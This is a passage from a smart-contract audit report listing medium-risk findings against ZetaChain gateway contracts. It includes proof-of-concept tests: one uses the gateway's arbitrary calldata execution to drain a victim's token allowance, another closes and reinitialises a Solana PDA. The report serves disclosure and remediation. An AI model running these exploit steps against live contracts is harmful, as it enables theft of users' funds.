If we want to make a call without depositing assets but with a payload, it seems like we can just call `deposit` with `1 lamport` as a workaround but that is not a nice solution. The real problem occurs if we

want to make an asset-less call without a payload. For that specific case there is no functionality and no workarounds to get that outcome.

Impact: The impact is broken functionality, namely the inability to make the simplest form of cross-chain calls.

Likelihood: Very likely as such calls should be supported and can be made by anyone.

Recommendation: Consider adding a `call` function to the solana gateway, allowing any calls to the `ZEVM` gateway as it is done in the `EVM` gateway.

3.2.11 The failure scenario for ZETA token has not been handled

Submitted by Bauer, also found by Haxatron, charlesCheerful, n4nika, 0xRio, Aamirusmani1552, dontonka, pwnforce, karanel, 0xStuart, Polaristow, Slavcheww, amaron, iercu, crypticdefense, ParthMandale, pkqs90, Al-Qa-qa, KupiaSec, Vijay, Udsen, Lalanda, lazydog, BoRonGod and VarunSharma

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The `GatewayZEVM.withdraw()` function allows users to withdraw ZRC20 or ZETA tokens to an external chain.

```
/// @notice Withdraw ZETA tokens to an external chain.
/// @param receiver The receiver address on the external chain.
/// @param amount The amount of tokens to withdraw.
/// @param revertOptions Revert options.
function withdraw(
    bytes memory receiver,
    uint256 amount,
    uint256 chainId,
    RevertOptions calldata revertOptions
)
    external
    nonReentrant
    whenNotPaused
{
    if (receiver.length == 0) revert ZeroAddress();
    if (amount == 0) revert InsufficientZetaAmount();

    _transferZETA(amount, FUNGIBLE_MODULE_ADDRESS);
    emit Withdrawn(msg.sender, chainId, receiver, address(zetaToken), amount, 0, 0, "", 0, revertOptions);
}
```

If the execution on the external chain fails, `depositAndRevert()` will trigger to return the tokens to the user and call the `onRevert()` function.

```
/// @notice Deposit foreign coins into ZRC20 and revert a user-specified contract on ZEVM.
/// @param zrc20 The address of the ZRC20 token.
/// @param amount The amount of tokens to revert.
/// @param target The target contract to call.
/// @param revertContext Revert context to pass to onRevert.
function depositAndRevert(
    address zrc20,
    uint256 amount,
    address target,
    RevertContext calldata revertContext
)
    external
    onlyFungible
    whenNotPaused
{
    if (zrc20 == address(0) || target == address(0)) revert ZeroAddress();
    if (amount == 0) revert InsufficientZRC20Amount();
    if (target == FUNGIBLE_MODULE_ADDRESS || target == address(this)) revert InvalidTarget();

    if (!IZRC20(zrc20).deposit(target, amount)) revert ZRC20DepositFailed();
    UniversalContract(target).onRevert(revertContext);
}
```

However, if the withdrawal of ZETA tokens fails, the protocol does not have a corresponding function to handle this failure scenario.

Recommendation: The suggested fix is to handle the scenario where the transfer of ZETA tokens to the external chain fails.

3.2.12 Solana gateway does not allow withdrawals to PDAs

Submitted by n4nika

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The context struct for the `withdraw` function currently allows the `to` account to only be a `SystemAccount`. This means withdrawals are only possible if they are directed directly to a wallet.

```
- [derive(Accounts)]
pub struct Withdraw<'info> {
    #[account(mut)]
    pub signer: Signer<'info>,

    #[account(mut)]
    pub pda: Account<'info, Pda>,
    #[account(mut)]
    pub to: SystemAccount<'info>,
}
```

Now the main targets for cross-chain withdrawals will not be wallets but instead contracts.

Impact: This means we cannot withdraw assets to contracts, making the probably most commonly used cross-chain withdrawals impossible.

Likelihood: Very likely as the target of a cross-chain withdrawal being a contract will always be the case for any protocol integrating with ZetaChain.

Proof of Concept: This can easily be shown by going to the test `deposit and withdraw 0.5 SOL from Gateway with ECDSA signature` in `protocol-contracts-solana.ts` and changing the following line:

- remove `const to = wallet.publicKey;` and instead add `const to = wallet_ata;`

Now this is the easiest way to demonstrate the error but the target will most likely not be `ATA`s but `PDA`s. If we now execute the tests with `anchor test`, that testcase will fail with the error message `The given account is not owned by the system program`, showing that withdrawals for any non-system addresses (wallets) will not be possible.

Recommendation: Consider replacing `SystemAccount` with `AccountInfo` allowing the target to be any solana account.

3.2.13 The `GatewayEVM` contract executing arbitrary calldata can be exploited by malicious users to steal other users' fund

Submitted by Chad0, also found by Kral01, strikeout, 0xanmol, yttriumzz, Sujith Somraaj, lian886, almantare, 0xTheBlackPanther, amaron, Spearmint, pks271, nnez and etherhood

Severity: Medium Risk

Context: GatewayEVM.sol#L135, GatewayEVM.sol#L166

Description: Because the `msg.sender` of the arbitrary call is the `GatewayEVM` contract, so malicious users have a way to utilize the `GatewayEVM` being the `spender` role of other users' ERC20s, and they can steal others' money.

- Attack Prerequisites:
  - The user `victim` has existing allowances to the `GatewayEVM` being the `spender`. This is the only prerequisite for the attack to work.
  - This prerequisite is actually highly likely to be true in reality. The reason is that, the `GatewayEVM` contract has functions such as `depositAndCall()` and `deposit()` for ERC20 transfer, both of which require the user to have some pre-existing allowances in place to call these functions. Therefore, it should be quite common to see the frequent users of this protocol approving

the `GatewayEVM` to spend their ERC20s; and, very often the users tend to approve for a higher amount in reality, in order to reduce repetitive approvals if they are frequent users.

- Attack Scenario:
  - Once the attack prerequisite is met, then the attack scenario is rather simple. First, the `attacker` initiated a call on the ZetaChain, the gateway contract on ZetaChain emitted the event `Called`, with the arbitrary address `receiver` being an ERC20 address and the calldata `message` being the `transferFrom()` related calldata.
  - Then, the `TSS` on the connected EVM chain passed this info to `GatewayEVM` to execute it.
  - Because the `GatewayEVM` is the `spender` for potentially many users on many different ERC20s, it can successfully execute the trxn like `transferFrom(victim, beneficiary, amount)`. The `beneficiary` is just the `attacker`'s address on the connected chain.
  - If this scenario plays out, mass stealing can happen.

Impact: This attack scenario is not anything novel, in fact, similar cases have happened quite several times -- some famous protocol's router contract being utilized by attackers to steal other users' money, only because:

1. It can execute arbitrary calldata to arbitrary addresses without any kind of pre-cautious validations;
2. It is the `spender` of many users' many ERC20s because it's just the natural fact of a router/gateway contract.

The impact of such a vulnerability is HIGH.

Likelihood: As I have explained in the description above, the prerequisite for this attack is highly likely to meet, simply because:

1. The `GatewayEVM` contract itself requires such allowances pre-existing, in order for its `deposit()` and `depositAndCall()` functions to work for ERC20s;
2. Even though we assume `Bob` is a super pre-cautious user who approves the exact amount every time and he does not care how repetitive it is, he just leaves no extra allowances after each time interaction. But still, the `approve()` step on ERC20 and the `deposit()` step on `GatewayEVM` are two separate atomic steps and we cannot expect a normal user to have the skills to bundle them into one function call. Therefore, there are still possibilities that for the time being between these two steps, the attack can happen.

Anyway, the likelihood of the attack in the real world is absolutely HIGH.

Proof of Concept: Add the test below into the test file `protocol-contracts/v2/test/GatewayEVM.t.sol` and run it:

```
function testForwardCallToERC20NonPayable() public {

    // Attacker -- the entity who initiated the call on omnichain and passed in the malicious calldata
    // which will utilize the GatewayEVM's role as a spender on any ERC20 to any individual.
    // The attacker also has an address on the connected EVM chain as the beneficiary.
    address attacker = makeAddr("attacker");

    // Victim -- the attacker's target who is gonna suffer the loss
    address victim = makeAddr("victim");

    // Amount -- the victim's fund
    uint256 amount = 1 ether;
    deal(address(token), victim, amount);

    console.log("The victim's balance of the ERC20 was initially: ");
    console.logUint(token.balanceOf(victim));
    console.log("The attacker's balance of the ERC20 was initially: ");
    console.logUint(token.balanceOf(attacker));

    // As a prerequisite of the attack, the victim should have some pre-existing allowance given to the
↪   GatewayEVM contract,
    // which is a very likely situation, because the contract's functions like depositAndCall() and deposit()
↪   both require some
    // allowance in place, in order to interact with the gateway contract.
    vm.prank(victim);
    token.approve(address(gateway), amount);

    bytes memory data = abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, attacker,
↪   amount);

    vm.prank(tssAddress);
    gateway.execute(address(token), data);

    console.log("After the attack, the victim's balance of the ERC20 became: ");
    console.logUint(token.balanceOf(victim));
    console.log("After the attack, the attacker's balance of the ERC20 became: ");
    console.logUint(token.balanceOf(attacker));
}
```

The test result and log shows the `attacker` can utilize the `GatewayEVM` to successfully steal the `victim`'s money:

```
Ran 1 test for test/GatewayEVM.t.sol:GatewayEVMTest
[PASS] testForwardCallToERC20NonPayable() (gas: 249033)
Logs:
  The victim's balance of the ERC20 was initially:
  1000000000000000000
  The attacker's balance of the ERC20 was initially:
  0
  After the attack, the victim's balance of the ERC20 became:
  0
  After the attack, the attacker's balance of the ERC20 became:
  1000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.24s (7.09ms CPU time)

Ran 1 test suite in 3.25s (3.24s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommendation: There are two ways for mitigation:

1. Stop the prerequisite -- Very difficult. With the help of an appropriate frontend, the team can do their best, but they can never have fully controlled mitigation on this item.
2. Validate the calldata and do not execute if it's like `transferFrom()` or `safeTransferFrom()` on at least legitimate/whitelisted ERC20s --- This is the more recommended mitigation.

3.2.14 Unwhitelisted tokens will block withdrawal on EVM chains

Submitted by Slavcheww, also found by alexfilippov314, Abdullahi, spuriousdragon, zanderbyte, Mikb, Sparrow, aksa, m4k2, foufrix and KupiaSec

Severity: Medium Risk

Context: ERC20Custody.sol#L121

Description: Currently `unwhitelist` can be called at any time by the `TSS`, but if it's `unwhitelisted` while there is still a circulating supply of their `ZRC20` tokens on `zEVM` this will cause all the withdrawals for that tokens to revert.

Node implementation currently manages all the relations between `ZRC20` and `foreign coins`. Disabling such tokens will have bad consequences for the integrators, especially if they are designed in an immutable fashion to support only a set of assets.

The main reason `unwhitelisting` such tokens is an issue is the fact that the functions that are called only by the `withdrawer (TSS)` and they also have the check that prevents even the trusted actors from processing these disabled tokens:

```
function withdraw(
    address to,
    address token,
    uint256 amount
)
    external
    nonReentrant
    onlyRole(WITHDRAWER_ROLE)
    whenNotPaused
{
    if (!whitelisted[token]) revert NotWhitelisted();

    IERC20(token).safeTransfer(to, amount);

    emit Withdrawn(to, token, amount);
}
```

Although the `Zeta` team can track what is the current supply of `ZERC20` token corresponding to the respective foreign token, they don't separate the checks that will allow users to bridge the assets from `zEVM → EVM` and at the same time prevent them from creating new `EVM → zEVM` inbound messages.

Recommendation: Remove `if (!whitelisted[token]) revert NotWhitelisted();` from both `withdraw` and `withdrawAndCall` in `ERC20Custody`, this will make it possible to safely unwind assets by allowing users to bridge them back to their original chain while disabling new tokens being locked in the `zEVM`.

3.2.15 Gas payment for External ⇒ ZetaChain CCTX seems to be missing

Submitted by Haxatron, also found by dontonka, cryptostaker, yttriumzz, almantare, 0xRio, karanel, ArsenLupin, Pheonix, Saksham seth, m4k2, Al-Qa-qa, Taiger and Abdullahi

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: It is not certain how the cross-chain gas required to execute the CCTX on ZetaChain is paid by the initiator of the CCTX for a External ⇒ ZetaChain CCTX. In the V2 contracts, there is no Zeta fee being deducted from the user unlike the V1 contracts.

This means that it is possible that someone can repeatedly initiate CCTX on the connected chain (for example, by repeatedly calling the no-asset transfer `call` function). The TSS will pay the Zeta gas fee on ZetaChain without compensation, and also allow for cheaply filling blocks (only paying the gas fee on connected chain) on ZetaChain with spam CCTX.

Additionally when the no-asset transfer `call` reverts on the destination ZetaChain, the `onRevert` function will be called on the source chain by the TSS, this also means that the TSS will be paying for the gas fee to execute the revert function on the source chain without compensation.

Recommendation: Deduct the Zeta fee / other fees to pay for the ZetaChain gas / connected chain gas for reverts from the user like the V1 contracts.

3.2.16 Already deployed ZRC20 tokens are incompatible with V2 Gateways

Submitted by iamandreiski

Severity: Medium Risk

Context: ZRC20.sol#L281

Description: Already deployed ZRC20 tokens by the ZetaChain team which can be found in the ZetaChain docs will be incompatible with the V2 Gateways due to:

- `withdrawGasFeeWithGasLimit()` function invoked in two instances on the gateway and is non-existent in the ZRC20 which are currently deployed.
- And due to a condition in the already deployed ZRC20 tokens' `deposit()` function which is access-controlled and can only be called by either the system contract OR the fungible module address, but not the gateway.

First and foremost, it should be noted that ZRC20 tokens are not upgradeable, and there are already 13 deployed tokens, like `USDC.BSC`, `USDC.ETH`, `ETH.ETH`, etc...

As an example here's the contract for USDC.ETH deployed on ZetaChain:

```
0x0cbe0dF132a6c6B4a2974Fa1b7Fb953CF0Cc798a
```

The first problem is that the V1 version of the ZRC20 contract doesn't contain the `withdrawGasFeeWithGasLimit()` function which can be seen in the V2 version of the ZRC20 contract which will be used in the contracts that will be used by the to-be deployed ZRC20 tokens:

```
function withdrawGasFeeWithGasLimit(uint256 gasLimit) public view override returns (address, uint256) {
    address gasZRC20 = ISystem(SYSTEM_CONTRACT_ADDRESS).gasCoinZRC20ByChainId(CHAIN_ID);
    if (gasZRC20 == address(0)) revert ZeroGasCoin();

    uint256 gasPrice = ISystem(SYSTEM_CONTRACT_ADDRESS).gasPriceByChainId(CHAIN_ID);
    if (gasPrice == 0) {
        revert ZeroGasPrice();
    }
    uint256 gasFee = gasPrice * gasLimit + PROTOCOL_FLAT_FEE;
    return (gasZRC20, gasFee);
}
```

There are two instances in the V2 ZEVM Gateways that invoke this function. The first one is during the `call()` method, invoked directly:

```
function call(
    bytes memory receiver,
    address zrc20,
    bytes calldata message,
    uint256 gasLimit,
    RevertOptions calldata revertOptions
)
    external
    nonReentrant
    whenNotPaused
{
    if (receiver.length == 0) revert ZeroAddress();
    if (message.length == 0) revert EmptyMessage();

    (address gasZRC20, uint256 gasFee) = IZRC20(zrc20).withdrawGasFeeWithGasLimit(gasLimit);
    if (!IZRC20(gasZRC20).transferFrom(msg.sender, FUNGIBLE_MODULE_ADDRESS, gasFee)) {
        revert GasFeeTransferFailed();
    }

    emit Called(msg.sender, zrc20, receiver, message, gasLimit, revertOptions);
}
```

And the second one, whenever `_withdrawZRC20WithGasLimit()` is called:

```
function _withdrawZRC20WithGasLimit(uint256 amount, address zrc20, uint256 gasLimit) internal returns
↪  (uint256) {
    (address gasZRC20, uint256 gasFee) = IZRC20(zrc20).withdrawGasFeeWithGasLimit(gasLimit);
    if (!IZRC20(gasZRC20).transferFrom(msg.sender, FUNGIBLE_MODULE_ADDRESS, gasFee)) {
        revert GasFeeTransferFailed();
    }

    if (!IZRC20(zrc20).transferFrom(msg.sender, address(this), amount)) {
        revert ZRC20TransferFailed();
    }

    if (!IZRC20(zrc20).burn(amount)) revert ZRC20BurnFailed();

    return gasFee;
}
```

The above mentioned internal function is called in both `withdrawAndCall()` and in `withdraw()` through the `_withdrawZRC20()`:

```
function _withdrawZRC20(uint256 amount, address zrc20) internal returns (uint256) {
    // Use gas limit from zrc20
    return _withdrawZRC20WithGasLimit(amount, zrc20, IZRC20(zrc20).GAS_LIMIT());
}
```

The second instance which will cause the already deployed ZRC20 tokens to be incompatible with the new V2 gateways is the deposit, the difference is that now it's planned for the gateways to call the ZRC20 tokens' `deposit()` function directly, thus we have the following condition in the new contracts:

```
function deposit(address to, uint256 amount) external override returns (bool) {
    if (
        msg.sender != FUNGIBLE_MODULE_ADDRESS && msg.sender != SYSTEM_CONTRACT_ADDRESS
            && msg.sender != gatewayAddress
    ) revert InvalidSender();
```

While the already deployed ZRC20 contracts have the following access control condition:

```
function deposit(address to, uint256 amount) external override returns (bool) {
        if (msg.sender != FUNGIBLE_MODULE_ADDRESS && msg.sender != SYSTEM_CONTRACT_ADDRESS) revert
↪  InvalidSender();
```

Since they can only be called by either the system contract or the fungible module address, if the gateway tries to call the deposit function (whenever a new ZRC20 token is deposited from a spoke chain to Zeta), this function will revert.

Impact: All 13 already-deployed ZRC20 tokens (the list for which) can be found in the ZetaChain documentation will be incompatible with the new V2 Gateways.

Likelihood: This will occur every time when Gateways try to interact with the already deployed ZRC20 tokens either due to the missing `withdrawGasFeeWithGasLimit()` function on the V1 ZRC20 contracts or due to access-control restrictions in the `deposit()` function.

Proof of Concept:

- A user initiates a deposit from a spoke/connected chain (BNB, ETH, Polygon, etc...)
- The offchain node processes the inbound transaction, then the outbound transaction is picked up by Zeta and processed.
- When `deposit` or `depositAndCall` is called on the ZEVM Gateway, the transaction would inevitably revert due to the above-mentioned inconsistencies.

Recommendation: Implement a different way to interact with the already deployed ZRC20 tokens through the gateways which will be compatible.

3.2.17 `withdrawAndCall` calls to solana will fail per default

Submitted by n4nika, also found by iamandreiski, crypticdefense, Haxatron and Aamirusmani1552

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The gateways are supposed to support the following actions:

- Receive assets.
- Receive assets and execute a call.
- Execute a call.
- Call a different gateway.
- Transfer to a different gateway.
- Transfer to a different gateway and call a function.

The problem is that the solana gateway has no functionality for any calls targeting it. There are `withdraw` and `deposit` functions and the `deposit` functions enable `cctx` calls but the `withdraw` functions do not execute calls to external contracts. This means if a user calls `withdrawAndCall` on the `ZEVM` gateway, with the destination chain being solana, that call will fail as there is no support for such calls in the solana gateway.

Impact: This causes unexpected reverts for users trying to make a call to the solana gateway.

Likelihood: Quite likely since cross-chain calls are a default feature of the proposed system.

Recommendation: Consider adding functionality to handle cross-chain calls on solana.

3.2.18 `GatewayZEVM.withdrawAndCall` could break user expectations if the provided message is empty

Submitted by Said, also found by dontonka, Bauchibred, Cryptor and 0x18a6

Severity: Medium Risk

Context: GatewayZEVM.sol#L166-L194, GatewayZEVM.sol#L223-L239

Description: When users trigger `GatewayZEVM.withdrawAndCall` functions on ZetaChain, users expect it will trigger `withdrawAndCall` on destination chain. However, this is not always the case, and could break users expectations and could break cross-chain dapps functionality.

Users can call `GatewayZEVM.withdrawAndCall`, providing ZRC20 assets or zeta to the function, along with a `message` and a `receiver` . It can be observed that there is no `message` size check in these functions.

```
function withdrawAndCall(
    bytes memory receiver,
    uint256 amount,
    uint256 chainId,
    bytes calldata message,
    RevertOptions calldata revertOptions
)
    external
    nonReentrant
    whenNotPaused
{
    if (receiver.length == 0) revert ZeroAddress();
    if (amount == 0) revert InsufficientZetaAmount();

    _transferZETA(amount, FUNGIBLE_MODULE_ADDRESS);
    emit Withdrawn(msg.sender, chainId, receiver, address(zetaToken), amount, 0, 0, message, 0, revertOptions);
}
```

Inside the keeper/observer, once an inbound event is accepted and an outbound transaction is created on destination chain, a `withdraw` call is created instead of a `withdrawAndCall` call.

- cctx.go#L45-L81:

```
func ParseOutboundTypeFromCCTX(cctx types.CrossChainTx) OutboundType {
    switch cctx.InboundParams.CoinType {
    case coin.CoinType_Gas:
        switch cctx.CctxStatus.Status {
        case types.CctxStatus_PendingOutbound:
            if len(cctx.RelayedMessage) == 0 { // <<<
                return OutboundTypeGasWithdraw
            } else {
                return OutboundTypeGasWithdrawAndCall
            }
        case types.CctxStatus_PendingRevert:
            if cctx.RevertOptions.CallOnRevert {
                return OutboundTypeGasWithdrawRevertAndCallOnRevert
            } else {
                return OutboundTypeGasWithdrawRevert
            }
        }
    case coin.CoinType_ERC20:
        switch cctx.CctxStatus.Status {
        case types.CctxStatus_PendingOutbound:
            if len(cctx.RelayedMessage) == 0 { // <<<
                return OutboundTypeERC20Withdraw
            } else {
                return OutboundTypeERC20WithdrawAndCall
            }
        case types.CctxStatus_PendingRevert:
            if cctx.RevertOptions.CallOnRevert {
                return OutboundTypeERC20WithdrawRevertAndCallOnRevert
            } else {
                return OutboundTypeERC20WithdrawRevert
            }
        }
    case coin.CoinType_NoAssetCall:
        if cctx.CctxStatus.Status == types.CctxStatus_PendingOutbound {
            return OutboundTypeCall
        }
    }

    return OutboundTypeUnknown
}
```

This could break user assumptions and potentially disrupt cross-chain dApp functionality. Consider a cross-chain dApp that does not need to care about the provided `data` or payload, it only needs to update a certain state when `_execute` is triggered to the destination target. However, if the `message` is empty at the zeta chain, `_execute` is not called at all.

- GatewayEVM.sol#L149-L178

```
function executeWithERC20(
    address token,
    address to,
    uint256 amount,
    bytes calldata data
)
    public
    onlyRole(ASSET_HANDLER_ROLE)
    whenNotPaused
    nonReentrant
{
    if (amount == 0) revert InsufficientERC20Amount();
    if (to == address(0)) revert ZeroAddress();
    // Approve the target contract to spend the tokens
    if (!resetApproval(token, to)) revert ApprovalFailed();
    if (!IERC20(token).approve(to, amount)) revert ApprovalFailed();
    // Execute the call on the target contract
    _execute(to, data); // <<<

    // Reset approval
    if (!resetApproval(token, to)) revert ApprovalFailed();

    // Transfer any remaining tokens back to the custody/connector contract
    uint256 remainingBalance = IERC20(token).balanceOf(address(this));
    if (remainingBalance > 0) {
        transferToAssetHandler(token, remainingBalance);
    }

    emit ExecutedWithERC20(token, to, amount, data);
}
```

Impact: This could break user assumptions and potentially disrupt cross-chain dApp functionality.

Recommendation: When users `GatewayZEVM.withdrawAndCall`, ensure that the provided `message` is not empty (`length` must greater than 0).

3.2.19 PDA exploit via excessive withdrawal leading to closure and malicious reinitialization

Submitted by meltedblocks, also found by mxuse, shaflow01, abdulsamijay, OKOMO and Shubham

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: In the current implementation, if an attacker or a malfunctioning backend requests more lamports to be withdrawn than the PDA's available balance, Solana will automatically close the PDA due to insufficient funds to maintain rent exemption. This closure poses a critical vulnerability: the attacker could then reinitialize the PDA with malicious data, including a new nonce, effectively taking control of the PDA. This could result in unauthorized operations, such as manipulating the bridge protocol, altering transaction data, or even redirecting funds.

The consequences are severe:

1. Compromised Security: The bridge protocol's integrity could be undermined, allowing an attacker to perform unauthorized actions.
2. Fund Loss: The reinitialized PDA could lead to the misdirection of funds or improper handling of transactions.
3. Protocol Disruption: The bridge's entire operational framework could be broken, leading to systemic failures in the protocol's operation.

Proof of Concept:

```
it("PDA closure exploit due to excess withdrawal", async () => {
    // Initial setup - Deposit some SOL to the PDA
    await gatewayProgram.methods.deposit(new anchor.BN(1_000_000_000), address).accounts({ pda: pdaAccount
↪   }).rpc();

    // Confirm the PDA's balance
    let initialBalance = await conn.getBalance(pdaAccount);
    expect(initialBalance).to.be.gte(1_000_000_000);
```

```
    // Attempt to withdraw more lamports than available, enough to drop below rent-exempt
    const pdaAccountData = await gatewayProgram.account.pda.fetch(pdaAccount);
    const amount = new anchor.BN(initialBalance); // Withdraw all lamports
    const nonce = pdaAccountData.nonce;
    const buffer = Buffer.concat([
        chain_id_bn.toArrayLike(Buffer, 'be', 8),
        nonce.toArrayLike(Buffer, 'be', 8),
        amount.toArrayLike(Buffer, 'be', 8),
        wallet.publicKey.toBuffer(),
    ]);
    const message_hash = keccak256(buffer);
    const signature = keyPair.sign(message_hash, 'hex');
    const { r, s, recoveryParam } = signature;
    const signatureBuffer = Buffer.concat([
        r.toArrayLike(Buffer, 'be', 32),
        s.toArrayLike(Buffer, 'be', 32),
    ]);

    await gatewayProgram.methods.withdraw(
        amount, Array.from(signatureBuffer), Number(recoveryParam), Array.from(message_hash), nonce
    ).accounts({
        pda: pdaAccount,
        to: wallet.publicKey,
    }).rpc();

    // Verify if the PDA has been closed
    try {
        await gatewayProgram.account.pda.fetch(pdaAccount);
        throw new Error("Expected error not thrown");
    } catch (err) {
        console.log("error");
        expect(err).to.be.instanceof(Error); // Expected as PDA should be closed
    }

    // Attempt to reinitialize the PDA (should not be allowed without proper authority)
    try {
        // The gateway is reinitialized
        await gatewayProgram.methods.initialize(tssAddress, chain_id_bn).rpc();
    } catch (err) {
        throw err;
    }
});
```

Recommendation: Introduce a check to verify that the withdrawal amount does not exceed the PDA's balance minus the necessary lamports required for maintaining rent exemption.

3.2.20 Users can make cross-chain calls without paying gas fees with `call()`/`withdrawAndCall()` in `GatewayZEVM`

Submitted by tchkvsky, also found by dontonka, charlesCheerful, 0xRio, alexfilippov314, 0xTheBlackPanther, silver.eth, Slavcheww, Aamirusmani1552, Pascal, ArsenLupin, Mikb, Said, crypticdefense, Shubham, Saksham seth, Pheonix and zanderbyte

Severity: Medium Risk

Context: GatewayZEVM.sol#L159-L194

Description: Lack of input validation when calling `withdrawAndCall()` in `GatewayZEVM` means users can withdraw their ZRC20 tokens and then make calls without paying gas fee.

The `withdrawAndCall()` function in `GatewayZEVM` is used to withdraw ZRC20 tokens in ZetaChain and then it emits an event which is used to call a smart contract on an external chain.

```
// GatewayZEVM.sol
function withdrawAndCall(
    bytes memory receiver,
    uint256 amount,
    address zrc20,
    bytes calldata message,
    uint256 gasLimit,
    RevertOptions calldata revertOptions
)
    external
    nonReentrant
    whenNotPaused
{
    if (receiver.length == 0) revert ZeroAddress();
    if (amount == 0) revert InsufficientZRC20Amount();

    uint256 gasFee = _withdrawZRC20WithGasLimit(amount, zrc20, gasLimit);  //<---
    emit Withdrawn(
        msg.sender,
        0,
        receiver,
        zrc20,
        amount,
        gasFee,
        IZRC20(zrc20).PROTOCOL_FLAT_FEE(),
        message,
        gasLimit,
        revertOptions
    );
}
```

`withdrawAndCall()` calls an internal function `_withdrawZRC20WithGasLimit()` which takes in `gasLimit` as one of the parameters and then calls `withdrawZRC20WithGasLimit` in the `ZRC20.sol` contract.

```
// GatewayZEVM.sol
function _withdrawZRC20WithGasLimit(uint256 amount, address zrc20, uint256 gasLimit) internal returns
↪  (uint256) {
    (address gasZRC20, uint256 gasFee) = IZRC20(zrc20).withdrawGasFeeWithGasLimit(gasLimit);  //<---
    if (!IZRC20(gasZRC20).transferFrom(msg.sender, FUNGIBLE_MODULE_ADDRESS, gasFee)) {
        revert GasFeeTransferFailed();
    }

    if (!IZRC20(zrc20).transferFrom(msg.sender, address(this), amount)) {
        revert ZRC20TransferFailed();
    }

    if (!IZRC20(zrc20).burn(amount)) revert ZRC20BurnFailed();

    return gasFee;
}
```

`withdrawZRC20WithGasLimit` is used to retrieve the address of the `gasZRC20` token and the `gasFee` to be paid during cross-chain calls.

```
function withdrawGasFeeWithGasLimit(uint256 gasLimit) public view override returns (address, uint256) {
    address gasZRC20 = ISystem(SYSTEM_CONTRACT_ADDRESS).gasCoinZRC20ByChainId(CHAIN_ID);    //zETH_ETH
    if (gasZRC20 == address(0)) revert ZeroGasCoin();

    uint256 gasPrice = ISystem(SYSTEM_CONTRACT_ADDRESS).gasPriceByChainId(CHAIN_ID);
    if (gasPrice == 0) {
        revert ZeroGasPrice();
    }
    uint256 gasFee = gasPrice * gasLimit + PROTOCOL_FLAT_FEE;   //@audit - Gas limit must not be zero or else
↪  the gas fee will be zero (if PROTOCOL_FLAT_FEE = 0)
    return (gasZRC20, gasFee);
}
```

The issue is that a user can set any value as the `gasLimit` due to lack of validation. They can set a value of 0 which will ultimately result to gas fee of 0 (assuming PROTOCOL_FLAT_FEE = 0). Even if `PROTOCOL_FLAT_FEE` is set, the value returned would just be equal to the protocol fee that is set, leading to less value as gas fee.

Impact:

1. Loss of protocol fees: This issue allows users to make cross-chain withdrawals and calls without properly compensating for the gas costs on the external chain. This will incur loss for the protocol when they execute calls on the external chain.
2. DoS: It also affects the `call()` function in `GatewayZEVM` since it calls into the `ZRC20`'s `withdrawGasFeeWithGasLimit()` function:

```
function call(
    bytes memory receiver,
    address zrc20,
    bytes calldata message,
    uint256 gasLimit,
    RevertOptions calldata revertOptions
)
    external
    nonReentrant
    whenNotPaused
{
    if (receiver.length == 0) revert ZeroAddress();
    if (message.length == 0) revert EmptyMessage();

    (address gasZRC20, uint256 gasFee) = IZRC20(zrc20).withdrawGasFeeWithGasLimit(gasLimit);    //<---
    if (!IZRC20(gasZRC20).transferFrom(msg.sender, FUNGIBLE_MODULE_ADDRESS, gasFee)) {
        revert GasFeeTransferFailed();
    }

    emit Called(msg.sender, zrc20, receiver, message, gasLimit, revertOptions);
}
```

This could lead to attackers spamming the chain which can lead to DOS, halting the protocol's full operation.

Likelihood: High.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";
//import {IERC20} from "forge-std/interfaces/IERC20.sol";
import {IZRC20} from "contracts/zevm/interfaces/IZRC20.sol";

import { ERC20Custody } from "contracts/evm/ERC20Custody.sol";
import { GatewayEVM } from "contracts/evm/GatewayEVM.sol";
import { ZetaConnectorNative } from "contracts/evm/ZetaConnectorNative.sol";
import { ZetaConnectorNonNative } from "contracts/evm/ZetaConnectorNonNative.sol";

import { RevertOptions } from "contracts/Revert.sol";
import { GatewayZEVM } from "contracts/zevm/GatewayZEVM.sol";
import { ZRC20 } from "contracts/zevm/ZRC20.sol";

import "./utils/ReceiverEVM.sol";
import "./utils/SenderZEVM.sol";
import "./utils/SystemContractMock.sol";
import {TestUniversalContract, zContext} from "test/utils/TestUniversalContract.sol";

import {TestERC20} from "./utils/TestERC20.sol";
import {WETH9} from "test/utils/WZETA.sol";
import {IWETH9} from "contracts/zevm/interfaces/IWZETA.sol";
import {Upgrades} from "openzeppelin-foundry-upgrades/Upgrades.sol";

contract ZetaChainTest is Test {
    //evm
    address proxyEVM;
    GatewayEVM gatewayEVM;
    ERC20Custody custody;
    ZetaConnectorNative zetaConnectorNative;
    ZetaConnectorNonNative zetaConnectorNonNative;
    address ownerEVM = makeAddr("ownerEVM"); //Default Admin

    // zevm
    address payable proxyZEVM;
    GatewayZEVM gatewayZEVM;
    ZRC20 zrc20; //Zetachain based tokens
```

```
    address ownerZEVM = makeAddr("ownerZEVM");

    address destination = makeAddr("destination");
    //address payable tss = payable(makeAddr("tss"));
    address payable tss = payable(0x70e967acFcC17c3941E87562161406d41676FD83);
    address fungibleModuleAddress = 0x735b14BB79463307AAcBED86DAf3322B1e6226aB;

    ReceiverEVM receiverEVM;
    SenderZEVM senderZEVM;
    SystemContractMock systemContract;
    TestUniversalContract universalContract;
    RevertOptions revertOptions;

    // TestERC20 dai = new TestERC20("DAI Stablecoin", "DAI");
    // TestERC20 zeta = new TestERC20("Zeta", "ZETA");
    uint256 mainnetFork;
    uint256 zetachainFork;

    address dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; //ERC20 token
    address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //ERC20 token
    address zeta = 0xf091867EC603A6628eD83D274E835539D82e9cc8; //ERC20 token

    WETH9 WZETA; //ZRC20 GAS token WZETA
    ZRC20 zDAI_ETH; //ZRC20 DAI. Token.Type = ERC20
    ZRC20 zETH_ETH; //ZRC20 ETH. Token.Type = GAS

    address payable userX = payable(makeAddr("userX"));

    function setUp() public {
        string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
